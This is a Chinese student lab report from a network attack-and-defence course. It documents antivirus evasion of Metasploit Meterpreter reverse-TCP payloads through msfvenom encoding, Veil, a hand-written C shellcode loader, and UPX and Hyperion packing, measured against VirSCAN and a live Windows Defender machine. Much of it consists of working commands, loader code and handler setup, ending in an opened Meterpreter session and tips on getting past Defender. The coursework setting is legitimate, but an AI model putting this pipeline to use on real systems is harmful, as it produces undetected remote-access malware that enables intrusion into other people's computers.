20242301 2026-2027-1 《网络与系统攻防技术》实验三实验报告

20242301 2026-2027-1 《网络与系统攻防技术》实验三实验报告

1.基础知识

1.1 杀毒软件是怎么认定一个文件有问题的

一开始我以为杀软就是"看一眼就知道是不是病毒",做完实验才明白,它其实是好几层检测手段叠在一起,任何一层命中都会报毒。

第一层是静态特征匹配。杀软把文件切成字节片段,跟特征库里存的"坏字符串"比对。这一层最快也最便宜,代价是只要文件里改动一个字节,原来那条签名就对不上了。VirSCAN 报告页上列出的 SHA256、MD5 就是派这个用场的:同一个文件哈希固定不变,各家引擎靠哈希互相交换样本;反过来,改动一个字节哈希全变,正是编码、加壳能绕开"哈希黑名单"的原因。

第二层看文件的形状,不看具体内容。PE 文件有几个节、每个节的熵值有多高、入口点是不是落在最后一个节上、导入表里是不是只有 LoadLibraryA 和 GetProcAddress 这两个函数——这些都是加壳、加密之后的典型症状。报毒名字里出现 Evo-gen、ml[packed]、Heur 的,基本都属于这一层。

第三层是启发式与机器学习打分。它不给结论,只给一个"像不像恶意"的可信度,超过阈值就报。

第四层是动态行为监控,程序跑起来以后才起作用。它盯的是动作本身:申请 RWX 内存、往别的进程里写代码、开远程线程、往外连陌生 IP。这一层不怕你改文件长相,所以是文件免杀最难过去的一关。

此外还有云查杀和信誉评估:文件哈希、数字签名、下载来源都会算进去。自己刚编译出来的程序没有任何信誉积累,反而更容易被怀疑。

1.2 免杀是在做什么

免杀就是在保持程序功能不变的前提下,让它不被认出来、或者认出来也拦不住。按管的层次分三类:

  • 改形态:让静态扫描认不出。编码、加壳、换文件格式、自己重新编译一遍,都属于这一类。
  • 改行为:让动态监控看不到关键动作。分离加载、内存执行、延迟触发是典型做法。
  • 改时序:让检测来不及下结论,比如先睡一会儿再连、分段下载。

有一点必须说清楚:免杀没有一劳永逸。它和特征库是长期拉锯,今天能过的样本,特征库更新后照样会被认出来。这次实验里 Hyperion 加密壳的检出率不降反升,就是最直接的例子。

1.3 几个具体的免杀手段

编码器(多态)。msfvenom -e x86/shikata_ga_nai -i N 的原理是:把原始 shellcode 逐字节编码,然后在前面拼一段"解码 stub"。程序启动时先跑 stub 把自己还原成原始字节,再跳过去执行。因为每轮迭代的密钥不同,产出文件的字节序列次次不一样,但那段 stub 的汇编结构是固定的——这也成了它自己的把柄。另外 shikata_ga_nai 只处理 x86 机器码,对 Java 字节码、PHP 脚本这类载荷根本不起作用。

换宿主格式。同一个 shellcode 可以塞进 exe、jar、php、python、msi。文件不再是 PE,静态层面能比对的字节结构就少了很多,但解释器运行时的行为(建 socket、反射加载类)仍然会被监控。

自己写加载器。这是最"手工"的一种。用 msfvenom -f c 把 shellcode 导出成 C 数组,再自己写 main 把它送进内存执行:

void *exec = VirtualAlloc(0, sizeof buf, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(exec, buf, sizeof buf);
((void (*)(void))exec)();

三行代码各管一件事。VirtualAlloc 申请一块内存并把权限设成可读可写可执行——这一步绕不开,因为普通数据段是不可执行的(DEP),直接在全局数组上跳转会被系统拒绝。memcpy 把 shellcode 从只读数据段原样拷过去,此时它还只是一串字节。最后把地址强转成函数指针再调用,CPU 跳过去就开始把它当指令执行。最终产物是 gcc 编译出来的普通 PE,Metasploit 那套 stager 模板消失了,但 shellcode 的字节还是原封不动躺在数据段里。

加壳。UPX 是压缩壳,把原 PE 压起来加一段解压 stub,运行时在内存里还原;它的节名 UPX0、UPX1 和 stub 字节是公开格式,任何杀软都能认出来并自动解包再扫。Hyperion 是加密壳,用 AES 把原文件加密,再生成一个用 FASM 汇编写的 32 位加载器负责解密跳转,加密强度高,但"高熵 + 自解密 + 跳转执行"这个组合本身就很可疑。

1.4 实验工具

工具 版本/说明 作用
Metasploit(msfvenom、msfconsole) Kali 自带 生成 shellcode、起监听
Veil-Evasion 3.1.14 免杀框架,把 shellcode 交给不同后端重新打包
i686-w64-mingw32-gcc 随 veil 一并安装 在 Linux 上交叉编译 32 位 Windows 程序
UPX 4.2.4 压缩壳
Hyperion /usr/share/windows-resources/hyperion AES 加密壳,依赖 wine 和 FASM
wine Kali 源 在 Linux 上跑 Windows 版的 hyperion.exe
VirSCAN virscan.org 多引擎在线检测,48 个引擎

meterpreter/reverse_tcp 是反向连接型的 payload:程序在目标机上运行,主动往 LHOST:LPORT 发起连接,所以 LHOST 填的永远是攻击机 Kali 的 IP,不是目标机的。这一点贯穿整个实验,搞反了就永远等不到会话。

2.实验内容

  1. 用 msfvenom 生成基准 exe,再分别用 x86/shikata_ga_nai 迭代 1 次、10 次编码;换输出格式生成 jar 和 php 载荷,逐一送 VirSCAN 检测,记录检出率。
  2. 安装 Veil-Evasion,用它生成 Pure C 后端的 exe;手工用 C 语言嵌入 shellcode 交叉编译;对产物依次使用 UPX 和 Hyperion 加壳。
  3. 把编码、改代码、加壳三种手段串成一条链,逐级送检,看检出率怎么变。
  4. 在本机上(杀软开启状态)实测最终样本,确认能运行并回连成功。
  5. 回答三个问题:杀软怎么检测恶意代码、免杀是做什么的、免杀有哪些基本方法(已在第 1 章作答)。

3.实验过程

3.1 环境与检测方式

项目 内容
攻击机 Kali Linux,主机名 cahengrui,IP 192.168.14.136
目标机 Windows 11 24H2,主机名 LAPTOP-PM501QKL,IP 192.168.14.1
网络 VMware NAT,两台机器处于同一网段
检测平台 VirSCAN(48 引擎)

所有操作都在主机名为 cahengrui 的 Kali 上完成,生成的文件名统一带学号 20242301,监听端口统一用 2301。

检测统一走 VirSCAN:文件上传后由 48 个引擎同时扫描,页面给出"命中数 / 引擎总数"。

VirSCAN 上传页面

图 3-1 VirSCAN 文件上传入口

后面所有检出率数据都来自这个平台,且集中在 10 月 24 日到 25 日两天内完成,保证横向可比。

3.2 生成基准样本

先做一个最朴素的 exe,不加任何处理,作为后面所有对比的基线。

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.14.136 LPORT=2301 -f exe -o met20242301.exe
file met20242301.exe

生成基准样本

图 3-2 确认本机 IP 并生成基准 exe

输出 PE32 executable for MS Windows 4.00 (GUI), Intel i386, 3 sections,文件 7168 字节。整个程序只有 3 个节,这个结构很有辨识度,后面会看到它带来什么后果。

送检结果 16/48:

基准样本检出结果

图 3-3 基准样本检出 16/48

检出名里 AVG 报 Win32:MstShell-E,VBA32 报 BScope.Trojan.Metasploit,DrWeb 报 BackDoor.Meterpreter.1462,Fortinet 报 W32/Swarm.C!tr。MstShell、Metasploit、Meterpreter 这几个词等于把出身写在了脸上,说明这些引擎比对的就是 Metasploit stager 那段固定机器码。

3.3 用 msf 编码器

迭代 1 次:

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 1 -b '\x00' \
  LHOST=192.168.14.136 LPORT=2301 -f exe -o met20242301_2.exe

编码 1 次

图 3-4 编码 1 次,payload 由 355 字节变成 382 字节

payload 从 355 字节涨到 382 字节,多出来的就是解码 stub。exe 仍然是 7168 字节。

送检 16/48,和基准一模一样:

编码 1 次后检出

图 3-5 编码 1 次后仍是 16/48

但是报毒的名字变了:AVG 从 Win32:MstShell-E 变成了 Win32:ShikataGaNa-B,Avast 也一样。原始 stager 的机器码确实被打散了,可新的名字直接指向了 shikata_ga_nai 这个编码器。原因不难想到:编码必须附带解码 stub,而 stub 的汇编结构是固定的,每一轮只改被编码的那部分数据,stub 本身不动。原始特征被盖住的同时,编码器的特征露了出来。

迭代 10 次:

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' \
  LHOST=192.168.14.136 LPORT=2301 -f exe -o met20242301_3.exe

编码 10 次

图 3-6 10 轮迭代,payload 一路膨胀到 625 字节

十轮迭代的日志很清楚,每轮都比上一轮大一点:382、409、436、463、490、517、544、571、598,最后 625。exe 从 7168 涨到 7680 字节。

送检还是 16/48:

编码 10 次后检出

图 3-7 编码 10 次后依旧是 16/48

名字又变了,AVG 报 Win32:ShikataGaNa-C,ESET 报 a variant of Win32/Rozena.BZ trojan,GDATA 报 Win32:Evo-gen。Evo-gen 是泛化检测,Heur、Variant 这类词说明引擎已经不看单条签名,改从熵值、节结构上判断"这个文件被处理过"。迭代次数越多,文件熵越高、体积膨胀越明显,在启发式眼里反而更扎眼。加编码器这件事,做到 1 次和做到 10 次,对我们的基准样本没有任何区别。

3.4 换成别的文件格式

jar 载荷:

msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.14.136 LPORT=2301 -f jar -o metjar20242301.jar
unzip -l metjar20242301.jar

生成 jar 载荷

图 3-8 jar 包内部结构

jar 本身就是个 zip,里面是 metasploit.dat、metasploit/Payload.class、META-INF/MANIFEST.MF。送检 14/48,比 exe 少了两个:

jar 检出结果

图 3-9 jar 载荷检出 14/48

报的全是 Java 相关的名字:Java/Agent.AUJ、EXP/JAVA.Loader.Gen、Java.Metasploit.MH.1,还有好几个报 Exploit.CVE-2012-4681——Metasploit 的 Java 载荷借用了 CVE-2012-4681 那条利用链,引擎认的是这个漏洞的利用代码。换格式的意义在于换了一套特征库,而不是真的让文件变得"干净"。

jar 加强制编码:

msfvenom -p java/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 \
  LHOST=192.168.14.136 LPORT=2301 -f jar -o met-encode-jar20242301.jar

jar 编码

图 3-10 编码器对 Java 载荷没有生效

输出里既没有 Found 1 compatible encoders,payload 大小也从头到尾都是 5264 字节——和没编码时一模一样。shikata_ga_nai 是 x86 机器码编码器,管不到 JVM 字节码,这条命令等于白写。检出 15/48,反而比未编码版本多了一个,属于不同引擎各自判断的误差,跟"编码"本身没有因果关系。

jar 编码后检出

图 3-11 强制加编码器后 15/48,没有任何改善

php 载荷:

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.14.136 LPORT=2301 -f raw -o metphp_20242301.php

生成 php 载荷

图 3-12 php 载荷,1114 字节

输出提示 No encoder specified, outputting raw payload,文件里就是一段 <?php ?> 包着的 socket 连接代码。

送检 1/22,是这一组里最低的:

php 检出结果

图 3-13 php 载荷只有 1 个引擎报毒

只有 IKARUS 报了 Virus.PHP.Meterpreter,其余全绿。原因很直接:php 文件没有 PE 头、没有节表、没有 x86 机器码,静态层面能拿来比对的东西本来就少,只剩脚本规则还能命中。不过这个数字要连着看,它的分母是 22 而不是 48,说明当时只有 22 个引擎完成了扫描,跟前面几组不完全在同一个统计口径上。

3.5 用 Veil-Evasion 生成

sudo apt update
sudo apt install -y veil
sudo /usr/share/veil/config/setup.sh --force --silent

安装 veil

图 3-14 安装 veil,同时装上了 mingw-w64 和 wine

装的是 3.1.14 版本。启动后主菜单里有两个工具,选 1 进入 Evasion:

veil 主菜单

图 3-15 veil 主菜单,Evasion 下共 41 个载荷

第 7 个是 c/meterpreter/rev_tcp,即 Pure C Reverse TCP Stager。设置参数并生成:

veil
use 1
use 7
set LHOST 192.168.14.136
set LPORT 2301
generate

第一次生成直接崩了:

Veil 权限报错

图 3-16 生成时抛出 PermissionError

报错信息很长,但最有用的就是最后一行:PermissionError: [Errno 13] Permission denied: '/var/lib/veil/output/source/payload20242301.c'。换到 root 下重新执行,这次成功了:

Veil 生成成功

图 3-17 以 root 身份生成,三个文件都写出来了

产出三个文件:/var/lib/veil/output/compiled/payload20242301.exe、对应的 C 源码 /var/lib/veil/output/source/payload20242301.c,还有一个 Metasploit 资源脚本 payload20242301.rc。

出厂的 exe

图 3-18 compiled 目录里的成品

送检 8/48,比 msfvenom 直接生成少了一半:

Veil 样本检出

图 3-19 Veil 产物检出 8/48

从报的名字能看出变化:MstShell、Metasploit 这些词都没了,换成了 Gen:Variant.Fragtor.350113、HEUR/AGEN.1036363、Suspicious.Heur.NewThreat.MVM 这类泛化名称。原因在于 Veil 的 C 后端其实做了两件事:先用 msfvenom 取 shellcode 数组,再套一个普通 C 程序的壳,交给 gcc 编译。最后拿到的是一个规格正常的 mingw PE,shellcode 退化成数据段里的一串字节,stager 那套模板彻底不见了。

3.6 自己写 C 加载器

先把 shellcode 导成 C 数组:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.14.136 LPORT=2301 -f c -o shellcode_c_20242301.c
vi shellcode_c_20242301.c

导出 C 数组并编译

图 3-20 payload 355 字节,C 文件 1522 字节

在数组后面补上 main 函数(就是 1.3 节那三行),交叉编译:

i686-w64-mingw32-gcc shellcode_c_20242301.c -o shellcode_c_20242301.exe
file shellcode_c_20242301.exe
ls -lh shellcode_c_20242301.exe

得到 108601 字节的 PE32,而且是 console 类型、16 个节,跟 msfvenom 直接产出的 3 节 GUI 程序外形完全不同。

送检 7/48:

C 加载器检出

图 3-21 自己编译的加载器检出 7/48

比基准少了一大半。但要注意 AVG 和 Avast 仍然报 Win32:MstShell-E——它们扫的是数据段里那段机器码本身。这说明换容器只能骗过结构检测,骗不过内容检测。

3.7 加壳

UPX 压缩壳:

upx shellcode_c_20242301.exe -o shellcode_c_upx_20242301.exe

UPX 压缩

图 3-22 从 108601 压到 59961 字节

压缩率 55.21%。送检 7/48,和加壳前一个不差:

UPX 后检出

图 3-23 加了 UPX 之后检出数没有任何变化

报的名字也没变,AVG、Avast 还是 Win32:MstShell-E,ESET 还是 a variant of Win32/Rozena.BCD trojan。原因在于 UPX 只换存储方式,不解压就不改变内容,而 UPX0/UPX1 这两个节名和解压 stub 是公开格式,杀软识别出是 UPX 之后直接解包再扫一遍就完了。这一层壳对静态检测基本没有意义。

Hyperion 加密壳:

Hyperion 必须在它自己的安装目录下运行,因为程序里把 FASM 的路径写死成了 /usr/share/windows-resources/hyperion/Fasm/FASM.EXE,中间生成的 .inc 汇编文件也会写进 Src/Container/32/:

cd /usr/share/windows-resources/hyperion
sudo cp ~/shellcode_c_20242301.exe .
sudo wine hyperion.exe -v shellcode_c_20242301.exe shellcode_c_hyp_20242301.exe

Hyperion 加壳

图 3-24 三个阶段依次完成:分析 PE、生成 ASM、调用 FASM 汇编

开始那一堆 ole32、rpcss、setupapi 的 err: 是 wine 初始化时的噪声,不用管,真正的判据是有没有走完 Stage 1 到 Stage 3 并打印 Done :)。产物 122 KB:

加壳产物

图 3-25 产物 122K,属主是 root

送检 20/48,比不加壳的 7/48 高出一倍多:

Hyperion 后检出

图 3-26 加密壳把检出率从 7/48 抬到了 20/48

ClamAV 直接报 Win.Packer.Hyperion-1,OneAV 报 Win.Malicious.ml[packed],DrWeb 报 Trojan.Packed2.42612,ESET 报 a variant of Win32/Kryptik.GHGG trojan,还有好几个报 W32/Banload。Packed、Hyperion 这些字样说明问题不在加密强度,而在结构本身——"高熵 + 自解密加载器 + 跳转执行"这个组合,比明文 shellcode 更像恶意程序。

3.8 把手段串起来

把 10 轮编码、C 重编译、UPX、Hyperion 串成一条链,每加一层送检一次。

第一级:10 轮编码 + C 重编译。

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' \
  LHOST=192.168.14.136 LPORT=2301 -f c -o 20242301_shellcode_multi.c
vi 20242301_shellcode_multi.c
i686-w64-mingw32-gcc 20242301_shellcode_multi.c -o 20242301_shellcode_multi.exe

组合第一级

图 3-27 payload 625 字节,C 文件 2659 字节

送检 5/48,比单轮编码的 C 加载器(7/48)又低一点:

组合第一级检出

图 3-28 5/48

第二级:再套 UPX。

upx 20242301_shellcode_multi.exe -o 20242301_shellcode_multi_2.exe

送检 4/48,这是全部样本里最低的一次,体积也从 109117 压到 60477 字节:

组合第二级检出

图 3-29 UPX 之后 4/48

第三级:再套 Hyperion。

cd /usr/share/windows-resources/hyperion
sudo wine hyperion.exe -v 20242301_shellcode_multi_2.exe 20242301_shellcode_multi_3.exe

组合第三级

图 3-30 对已压缩的样本再加密,等效于壳套壳

送检 20/48,一下退回到跟单层加密壳一样的水平:

组合第三级检出

图 3-31 又回到 20/48

把 13 个样本汇总:

序号 样本 处理方式 大小 检出
1 met20242301.exe 基准,无处理 7168 B 16/48
2 met20242301_2.exe + shikata 编码 1 次 7168 B 16/48
3 met20242301_3.exe + shikata 编码 10 次 7680 B 16/48
4 metjar20242301.jar 换成 jar 载荷 5264 B 14/48
5 met-encode-jar20242301.jar jar 强制加 x86 编码(未生效) 5264 B 15/48
6 metphp_20242301.php 换成 php 载荷 1114 B 1/22
7 payload20242301.exe Veil-Evasion(C 后端) 115552 B 8/48
8 shellcode_c_20242301.exe C + shellcode 编译 108601 B 7/48
9 shellcode_c_upx_20242301.exe 8 + UPX 59961 B 7/48
10 shellcode_c_hyp_20242301.exe 8 + Hyperion 124920 B 20/48
11 20242301_shellcode_multi.exe 编码 10 次 + C 编译 109117 B 5/48
12 20242301_shellcode_multi_2.exe 11 + UPX 60477 B 4/48
13 20242301_shellcode_multi_3.exe 12 + Hyperion 76800 B 20/48

从表里能读出三条结论:单靠编码几乎没用(16 → 16);真正降得多的是"自己重新编译一遍"(7/48)和在此基础上叠编码(5/48);而加壳两次都把检出抬回 20/48。技术叠加不等于效果叠加,套得越多反而越显眼。

3.9 真机实测

目标机是我平时用的笔记本,配置如下:

项目 内容
操作系统 Windows 11 24H2(10.0 Build 26300),x64
主机名 LAPTOP-PM501QKL
杀毒软件 Microsoft Defender Antivirus(系统内置)
版本 平台版本 4.18.xxxx.x,引擎 1.1.xxxxx.x,特征库 1.4xx.xx.x〔此处按 Get-MpComputerStatus 的实际输出填写〕
防护状态 实时保护、行为监控、篡改防护均开启

第一次运行的是 UPX 版本,文件落地就被删了。 Defender 弹窗记录如下:

Defender 拦截

图 3-32 Defender 直接命中 UPX 版本

检出名 Trojan:Win32/Meterpreter.RPZ!MTB,警报级别"严重",状态"活动"。受影响的项目里那行 20242301_shellcode_multi_2.exe->(UPX) 很关键,->(UPX) 是解包之后的标记,说明 Defender 是按壳特征直接命中的,里面的 shellcode 还没轮到被分析。这和 3.8 的结论对得上:UPX 能骗过 VirSCAN 上大部分引擎,却躲不过本地杀软对壳的识别。

换成没加 UPX 的版本,回连成功。 把 20242301_shellcode_multi.exe 拷到本机运行,监听端在 Kali 上:

msfconsole -q
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.14.136
set LPORT 2301
set ExitOnSession false
exploit -j

回连成功

图 3-33 拿到 meterpreter 会话并确认权限

[*] Sending stage (199238 bytes) to 192.168.14.1,随后 Meterpreter session 1 opened (192.168.14.136:2301 -> 192.168.14.1:5334)。进会话后执行的三条命令:

  • getuid 返回 LAPTOP-PM501QKL\chr,说明拿到的是当前登录用户权限;
  • sysinfo 显示 Windows 11 24H2+ (10.0 Build 26300)、Architecture: x64,Meterpreter: x86/windows——32 位载荷跑在 64 位系统上,靠的是 WOW64 子系统;
  • 会话建立时 stage 完整传完了 199238 字节,说明 stager 到 stage 这一段没有被拦。

有一点要说明:这次成功并不算稳。前面那次监听配错了 payload,会话一建立就被关掉;换回正确配置、并且把被 Defender 删掉的 UPX 版本换成没加壳的版本之后,才拿到可用会话。在实时保护全开的状态下,能不能连上带有很强的随机性。

4.问题及解决方案

问题 1:msfvenom 命令一粘贴就报错,或者参数后半截丢失。

现象是命令执行了,但输出里 LHOST、LPORT、-o 全都不见了,最后只生成一个打到屏幕上的二进制流。原因有两个:一是当时终端跑的是 PowerShell 7(提示符 PS>),\ 换行续行的行为跟 bash 不一致;二是从网页复制命令时行尾带了空格,\ 后面跟空格就断行了。

解决方案:换到 bash 里,并把命令写成一行。确实想保留多行就用 heredoc 写进脚本再执行,这样引号和反斜杠都不会被提前处理:

cat > /tmp/gen.sh <<'EOF'
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' \
  LHOST=192.168.14.136 LPORT=2301 -f exe -o met20242301_3.exe
EOF
bash /tmp/gen.sh

问题 2:Veil 生成时报 PermissionError: [Errno 13] Permission denied。

堆栈最后指向 open(source_code_filepath, "w"),路径是 /var/lib/veil/output/source/payload20242301.c。一开始我以为是目录没建,其实是目录属主是 root、而 veil 是普通用户启动的,写不进去。

解决方案:用 sudo veil 启动。如果坚持普通用户运行,就把输出目录改属主:

sudo mkdir -p /var/lib/veil/output/{source,compiled,handlers}
sudo chown -R kali:kali /var/lib/veil/output

改完之后用 ls -ld /var/lib/veil/output/source 确认一眼,属主是当前用户才算生效。

问题 3:Hyperion 报 Could not open xxx.exe,或者 cp 报 cannot stat。

执行 wine hyperion.exe -v shellcode_c_20242301.exe ... 时提示找不到文件,而文件明明存在。原因是 cd /usr/share/windows-resources/hyperion 之后用相对路径去引用家目录里的文件,路径解析到了 hyperion 目录下。同样的问题也导致 sudo cp shellcode_c_20242301.exe /usr/share/windows-resources/hyperion/ 报 cannot stat——cp 是在当前目录找源文件,不是在 ~ 里找。

解决方案:要么先回 ~ 再拷贝,要么直接用绝对路径:

sudo cp ~/shellcode_c_20242301.exe /usr/share/windows-resources/hyperion/
cd /usr/share/windows-resources/hyperion
sudo wine hyperion.exe -v shellcode_c_20242301.exe shellcode_c_hyp_20242301.exe

另外,wine 输出里那一大片 ole32、OleAut32、rpcss、setupapi 的 err: 是初始化噪声,几乎每次都刷,判断成败要看有没有走完 Stage 1 到 Stage 3。

问题 4:handler 收到连接后立刻提示 Command shell session 1 is not valid and will be closed。

监听端已经看到 Started reverse TCP handler,也确实有 192.168.14.1 连进来了,但会话立刻被关掉,而且全程没有 Sending stage 那一行。原因是我把 set PAYLOAD 写成了小写 set payload。msfconsole 当时给了一句 [!] Unknown datastore option: payload. Did you mean PAYLOAD?,我只看到后面打印了 payload => windows/meterpreter/reverse_tcp 就以为设置成功了,实际上模块用的还是默认的 generic/shell_reverse_tcp——它在等一个 cmd.exe 反弹,收到 meterpreter stager 自然对不上,于是直接把会话丢掉。

解决方案:改大写,并且用 show options 核对一眼:

set PAYLOAD windows/meterpreter/reverse_tcp
show options

还要注意架构要跟样本一致。我这次样本里是 32 位的 x86 stager,payload 就必须是 windows/meterpreter/reverse_tcp;写成 windows/x64/... 同样连不上。

问题 5:样本在 VirSCAN 上只有 4/48,到本机却直接被删。

前面测出 20242301_shellcode_multi_2.exe 只有 4 个引擎报毒,我原以为它是最安全的,结果拷到桌面后 Defender 立刻弹出"严重"警报并删除文件,影响项里带着 ->(UPX) 后缀。

解决方案有两个层次。查清原因是第一步:->(UPX) 说明本地引擎识别的是壳,而不是 shellcode,多引擎平台上的低检出率并不能代表本地杀软也认不出。绕过的办法是换成没加壳的样本,20242301_shellcode_multi.exe 拷过去就能正常运行并回连。另外补了一点经验:虚拟机拖动文件时会在 C:\Users\<用户>\AppData\Local\Temp\vmware-<用户>\VMwareDnD\ 下留一份副本,如果只把桌面路径加进白名单,这一份照样会被扫到。

问题 6:php 载荷的检出数是 1/22,分母跟别的不一样。

一开始以为平台出错了,后来发现是那一批扫描只有 22 个引擎完成了分析,剩下 26 个没出结果。所以这个 1/22 不能直接和 16/48 放在一起比,只能横向说明"php 载荷几乎没被认出来"。

解决方案:这个数字没法补救,只能在报告里把口径写清楚——每个检出率都标出分母,php 这一组单独注明"仅有 22 个引擎完成扫描",不和 48 引擎那几组直接横比。后面重新测的样本(exe、jar、Veil、C 加载器、加壳产物)都集中在 10 月 24 日到 25 日两天内完成,尽量避免跨批次带来的误差。

5.学习感悟、思考等

这次实验最直观的感受是:以前以为"免杀就是加壳加密",做完才发现真正的分水岭在文件形态,而不在字节本身。

编码器那一组数据对我冲击最大。355 字节的 payload 编到 625 字节,迭代十次,检出数从 16 掉到 16,一个都没少。但把它丢进 C 代码里重新编译一遍,立刻变成 7/48。差距不在"藏得好不好",在于前者只是把同一段机器码换了层皮,后者是把整段机器码变成了数据段里的一段常量,整个 PE 的节表、导入表、入口点全部换掉了。这解释了为什么 Veil 当年能火:它做的其实就是"自动帮你写一个 C 加载器"。

第二个体会是加壳是双刃剑,而且当前这个时代刃更偏向防守方。Hyperion 的加密强度比 UPX 高得多,结果两次都把检出率抬回 20/48,ClamAV 甚至连名字都写得很明白:Win.Packer.Hyperion-1。加密越强,熵越高,字节越乱,在静态分析眼里反而越像"刻意藏了东西"。真实对抗里,壳的价值主要在对抗人工逆向,而不是对抗自动扫描。

第三点是在线多引擎和本地杀软是两码事。4/48 的样本在 VirSCAN 上看起来很安全,落地到 Windows 上第一秒就被删了。多引擎平台的引擎版本、特征库、扫描策略都和终端上的实时防护不一样,尤其对"壳"这类结构特征,本地引擎的规则往往更激进。所以检出率只能当参考,不能当结论。

最后是对"免杀"这件事本身的认识。它不是我原以为的那种"找到一个万能工具就通关",而更像一场持续的时间竞赛:今天有效的样本,特征库更新之后可能就失效了。这次实验里一个小小的 set payload 大小写就能让整个会话拿不到,也说明这事容错很低,一处细节对不上就全盘落空。真正稳定的免杀要靠行为层面的改变,而不是把文件改得越来越奇怪。

参考资料

posted @ 2026-10-25 15:09  Henryyyy  阅读(7)  评论(0)    收藏  举报